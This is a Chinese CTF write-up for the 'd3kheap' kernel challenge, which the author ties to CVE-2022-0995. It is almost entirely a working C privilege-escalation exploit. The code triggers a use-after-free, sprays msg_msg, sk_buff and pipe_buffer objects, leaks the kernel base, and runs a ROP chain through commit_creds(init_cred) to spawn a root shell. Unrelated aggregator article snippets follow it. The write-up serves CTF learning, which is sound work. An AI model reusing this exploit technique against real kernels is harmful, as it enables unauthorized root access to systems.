d3kheap

这道题一开始没做出来,后来复现了CVE-2022-0995,发现两道题其实是一样的。

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/socket.h>
#include <stdint.h>
#define SOCKET_NUM 16
#define SK_BUFF_NUM 128void err_exit(char* msg)
{printf("[X] Error at %s\n", msg);exit(-1);
}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int initSocketArray(int sk_socket[SOCKET_NUM][2])
{/* socket pairs to spray sk_buff */for (int i = 0; i < SOCKET_NUM; i++){if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0){printf("[x] failed to create no.%d socket pair!\n", i);return -1;}}return 0;
}int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{for (int i = 0; i < SOCKET_NUM; i++){for (int j = 0; j < SK_BUFF_NUM; j++){if (write(sk_socket[i][0], buf, size) < 0){printf("[x] failed to spray %d sk_buff for %d socket!", j, i);return -1;}}}return 0;
}int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{for (int i = 0; i < SOCKET_NUM; i++){for (int j = 0; j < SK_BUFF_NUM; j++){if (read(sk_socket[i][1], buf, size) < 0){puts("[x] failed to received sk_buff!");return -1;}}}return 0;
}struct list_head {uint64_t    next;uint64_t    prev;
};struct msg_msg {struct list_head m_list;uint64_t    m_type;uint64_t    m_ts;uint64_t    next;uint64_t    security;
};struct msg_msgseg {uint64_t    next;
};/*
struct msgbuf {long mtype;char mtext[0];
};
*/int get_msg_queue(void)
{return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}/*** the msgp should be a pointer to the `struct msgbuf`,* and the data should be stored in msgbuf.mtext*/
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{((struct msgbuf*)msgp)->mtype = msgtyp;return msgsnd(msqid, msgp, msgsz, 0);
}/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts,  uint64_t next, uint64_t security)
{msg->m_list.next = m_list_next;msg->m_list.prev = m_list_prev;msg->m_type = m_type;msg->m_ts = m_ts;msg->next = next;msg->security = security;
}void get_shell(){if(getuid()==0){printf("[+] success!!!\n");system("/bin/sh");}else{printf("[+] something wrong;\n");}
}int fd;
int qu[0x1000];
size_t buf[0x1400];
size_t kbase=0;
size_t page_base=0;
int res=0;
int pipe_fd[0x100][2];void spray_pipe(){printf("start to spary pipe!!!\n");int i=0;for(;i<0x100;i++){pipe(pipe_fd[i]);write(pipe_fd[i][1],"haoqiguai",10);}
}void add(){ioctl(fd,0x1234);
}void del(){ioctl(fd,0xDEAD);
}int socket_buf[SOCKET_NUM][2];
int socket_bb[SOCKET_NUM][2];
size_t sock_buf[1000]={0};
size_t init_cred;
size_t pop_rdi;
size_t commit_creds;
size_t restore;
size_t push_rsi;
size_t add_rsp;
size_t pop_rsp;int main(){bind_core(0);save_status();fd=open("/dev/d3kheap",0);if(fd<0)perror("fd");initSocketArray(socket_buf);initSocketArray(socket_bb);add();del();int i=0;for(;i<0x1000;i++){qu[i]=get_msg_queue();write_msg(qu[i],buf,800,1);}i=0;for(;i<0x1000;i++){buf[5]=i;write_msg(qu[i],buf,800,2);}del();sock_buf[2]=1;sock_buf[3]=0x1000;spraySkBuff(socket_buf,sock_buf,500);size_t leak[500]={0};peek_msg(qu[0],leak,0x1000,0);//i=0;//for(;i<500;i++)printf("%d:%lx;\n",i,leak[i]);printf("[+] UAF object found :%lx;\n",leak[123]);printf("[+] fake_head found :%lx;\n",leak[124]);size_t uaf=leak[123];size_t fake_head=leak[124];freeSkBuff(socket_buf,sock_buf,500);sock_buf[0]=uaf;sock_buf[1]=fake_head;sock_buf[2]=1;sock_buf[3]=800;spraySkBuff(socket_buf,sock_buf,500);printf("[+] start to leak kbase!!!\n");memset(leak,0,4000);peek_msg(qu[0],leak,800,1);//i=0;//for(;i<100;i++)printf("%d:%lx;\n",i,leak[i]);size_t origin=leak[5];printf("[+] UAF object number is %d;\n",origin);res=read_msg(qu[origin],leak,800,2);if(res<0)err_exit("read_msg 1");sock_buf[0]=fake_head;sock_buf[1]=fake_head;sock_buf[2]=2;sock_buf[3]=800;sock_buf[4]=0;sock_buf[5]=0;spraySkBuff(socket_bb,sock_buf,500);printf("[+] free again now!!\n");res=read_msg(qu[0],leak,800,2);if(res<0)err_exit("read_msg 2");spray_pipe();for (int i = 0; i < SOCKET_NUM; i++){for (int j = 0; j < SK_BUFF_NUM; j++){if (read(socket_bb[i][1], sock_buf, 500) < 0){puts("[x] failed to received sk_buff!");return -1;}if(sock_buf[2]>0xffffffff80000000){printf("[+] pipe_buffer ops found %lx !\n",sock_buf[2]);kbase=sock_buf[2]-0x203fe40;}}}printf("kbase:%lx;\n",kbase);printf("[+] start to get root power!!\n");commit_creds=kbase+0x10d25c0;init_cred=kbase+0x2c6d580;pop_rdi=kbase+0x10938f0;push_rsi=kbase+0x1724a8c;pop_rsp=kbase+0x116c880;add_rsp=kbase+0x1076739;restore=kbase+0x1c01006;size_t rop[0x1000]={0};rop[2]=uaf+0x18;rop[1]=0;rop[0]=add_rsp;rop[3]=push_rsi;rop[4]=push_rsi;rop[5]=push_rsi;memcpy((char*)rop+0x39,&pop_rsp,8);rop[27]=pop_rdi;rop[28]=init_cred;rop[29]=commit_creds;rop[30]=restore;rop[31]=0xdeadbeef;rop[32]=0xdeadbeef;rop[33]=(size_t)get_shell;rop[34]=user_cs;rop[35]=user_rflags;rop[36]=user_sp;rop[37]=user_ss;res=spraySkBuff(socket_bb,rop,500);del();i=0;for(;i<0x100;i++){close(pipe_fd[i][0]);close(pipe_fd[i][1]);}return 0;
}

这题还能反复写,其实比CVE更简单,这个exp一次性打成的概率是1/2左右,因为qu[0]的主消息的下一个不一定也是msg_msg,但其实可以预先堆喷一些msg_msg,直接让UAF的object在充满msg_msg的页中即可,不过我懒得这样搞了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/458685.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Qt 文本文件读写与保存

Qt 文本文件读写与保存 开发工具&#xff1a;VS2013 QT5.8 设计UI界面&#xff0c;如下图所示 sample7_1QFile.h 头文件&#xff1a; #pragma once#include <QtWidgets/QMainWindow> #include "ui_sample7_1QFile.h"class sample7_1QFile : public QMainWin…

中国人寿财险青岛市分公司:保障民生,传递关爱

中国人寿财险青岛市分公司以保障民生为使命&#xff0c;传递关爱与温暖。 在健康险领域&#xff0c;公司为市民提供全面的医疗保障。从重大疾病保险到普通医疗保险&#xff0c;满足不同客户的需求。通过与医疗机构合作&#xff0c;为客户提供便捷的就医服务和理赔服务&#xf…

Linux下的文件IO操作

目录 1.前导 1.1文件知识 1.2对比一下文件操作和重定向 1.2.1输入重定向 1.2.2追加重定向 1.3当前路径 1.4stdin stdout stderr 2.文件操作的系统调用接口 2.1.open()打开文件 2.1.2.flags参数 2.1.3.mode参数 2.1.3 umask()函数 2.2.write()向文件写入 ​编辑 2…

【Kaggle | Pandas】练习1:创造、阅读和写作

文章目录 1. 创建DataFrame2. 创建数据表3. 创建可变Series表4. 读取csv 数据集5. 保存csv 文件 1. 创建DataFrame 在下面的单元格中&#xff0c;创建一个 DataFrame fruits &#xff0c;如下所示&#xff1a; import pandas as pd # Your code goes here. Create a datafr…

Javaee---多线程(一)

文章目录 1.线程的概念2.休眠里面的异常处理3.实现runnable接口4.匿名内部类子类创建线程5.匿名内部类接口创建线程6.基于lambda表达式进行线程创建7.关于Thread的其他的使用方法7.1线程的名字7.2设置为前台线程7.3判断线程是否存活 8.创建线程方法总结9.start方法10.终止&…

Spring《声明式事务》

知识点&#xff1a; Spring 声明式事务 1.基于注解和配置类的Spring-jdbc环境搭建 1. 准备项目&#xff0c;pom.xml <dependencies> <!--spring context依赖--> <!--当你引入Spring Context依赖之后&#xff0c;表示将Spring的基础依赖引入了--> …

七款主流图纸加密软件强力推荐|2024年CAD图纸加密保护指南

在当今信息化的设计行业&#xff0c;保护CAD图纸的知识产权和数据安全变得尤为重要。随着越来越多的企业采用数字化设计和共享文件&#xff0c;如何防止CAD图纸被未经授权的访问和窃取成为了许多设计师和企业关注的焦点。为此&#xff0c;选用合适的图纸加密软件是保护CAD文件安…

《数据结构》学习系列——树(下)

系列文章目录 目录 树和森林的遍历树的遍历森林的遍历基本算法递归先根遍历树迭代先根遍历树树和森林的层次遍历 压缩与哈夫曼树文件编码扩充二叉树哈夫曼树和哈夫曼编码哈夫曼树的基本思路哈夫曼编码 树和森林的遍历 树的遍历 先根遍历&#xff1a;先访问树的根结点&#x…

想作弊❓用这个发起考试,根本没法作弊

&#x1f389; 推荐一款超实用的在线考试神器 —— 土著刷题✨ 如果你正在寻找一个既方便又高效的在线考试平台&#xff0c;那么“土著刷题”小&#x1f34a;序绝对值得一试&#xff01;它不仅完全免费&#xff0c;而且操作简单&#xff0c;非常适合用来组织线上测试。 &#x…

使用Angular构建动态Web应用

&#x1f496; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4bb; Gitee主页&#xff1a;瑕疵的gitee主页 &#x1f680; 文章专栏&#xff1a;《热点资讯》 使用Angular构建动态Web应用 1 引言 2 Angular简介 3 安装Angular 4 创建Angular项目 5 设计应用结构 6 创建组件 7 …

「Java SPI机制应用快速入门」: 一种JDK内置的服务提供发现机制

文章目录 什么是SPISPI机制的应用使用方法使用规范 入门案例 什么是SPI SPI首先是一种机制&#xff0c;这个机制叫&#xff1a;服务提供发现机制。那是谁来负责发现呢&#xff1f;当然是JDK内置的服务帮助我们发现啦。发现了帮助我们去调用&#xff0c;我们要做的就是在中间去…

2024护理类科技核心期刊汇总(最新版)

2024年9月中国科技核心期刊目录&#xff08;2024年版&#xff09;正式公布&#xff0c;13本护理类期刊入选。常笑医学整理了这13本护理类科技核心期刊的详细参数&#xff0c;以及投稿经验&#xff0c;供大家在论文投稿时参考&#xff0c;有需要的赶紧收藏&#xff01; 1.《中华…

SwiftUI(四)- 布局(VStack、HStack、ZStack)

引言 页面的搭建和布局在应用开发中几乎占据了一半的代码量。定于iOS开发而言&#xff0c;相较于其它平台&#xff0c;UIKit的布局方式显得相对局限&#xff0c;通常只有绝对布局和相对布局两种方案。而在Flutter或者Android开发中&#xff0c;布局选项更为丰富&#xff0c;比…

【mod分享】极品飞车9冬日mod,支持光追,想体验一把冬天的Rockport市吗

各位好&#xff0c;今天小编给大家带来一款新的高清重置魔改MOD&#xff0c;本次高清重置的游戏叫《极品飞车9最高通缉》。 《极品飞车&#xff1a;最高通缉》作为一款2005年的游戏&#xff0c;《极品飞车&#xff1a;最高通缉》的画面效果还是可以的&#xff0c;效果全开之后…

【状态机DP】力扣1186. 删除一次得到子数组最大和

给你一个整数数组&#xff0c;返回它的某个 非空 子数组&#xff08;连续元素&#xff09;在执行一次可选的删除操作后&#xff0c;所能得到的最大元素总和。换句话说&#xff0c;你可以从原数组中选出一个子数组&#xff0c;并可以决定要不要从中删除一个元素&#xff08;只能…

手机拍证件照,换正装有领衣服及底色的方法

证件照在我们的职业生涯的关键节点是经常会用到的&#xff0c;比如毕业入职、人事档案建立、升迁履历、执业资格考试和领证等&#xff0c;这些重要的证件照往往要求使用正装照&#xff0c;有时候手头没有合适的衣服&#xff0c;或者原先的证件照背景色不符合要求&#xff0c;就…

numpy——数学运算

一、标量——矢量 import numpy as npa 3.14 b np.array([[9, 5], [2, 7]])print(a) print(b)# ---------- 四则运算 ---------- print(a b) # np.add print(a - b) # np.subtract print(a * b) # np.multiply print(a / b) # np.divide 二、矢量——矢量 import nump…

优选算法精品课--双指针算法(2)

双指针算法&#xff08;2&#xff09; 1、有效三角形的个数1.1 题目解析1.2 思路解析1.3 代码实现 2、和为s的两个数2.1 题目解析2.2 思路解析2.3 代码实现 3、三数之和3.1 题目解析3.2 思路解析3.3 代码实现 4、四数之和4.1 题目解析4.2 思路解析4.3 代码实现 5 总结 1、有效三…

4个提取音频办法,轻松实现视频转音频!

在信息爆炸的时代&#xff0c;视频内容以其直观、生动的特点占据了互联网的大半江山。然而&#xff0c;在某些场景下&#xff0c;我们可能更倾向于只听取音频部分&#xff0c;无论是驾驶途中听讲座、跑步时享受音乐视频中的纯音乐的场景&#xff0c;还是为了节省流量和存储空间…

Python continue和break

continue的作用是&#xff1a; 中断所在循环的当次执行&#xff0c;直接进入下一次 break的作用是&#xff1a; 直接结束所在的循环 注意事项&#xff1a; continue和break&#xff0c;在for和while循环中作用一致 在嵌套循环中&#xff0c;只能作用在所在的循环上&#x…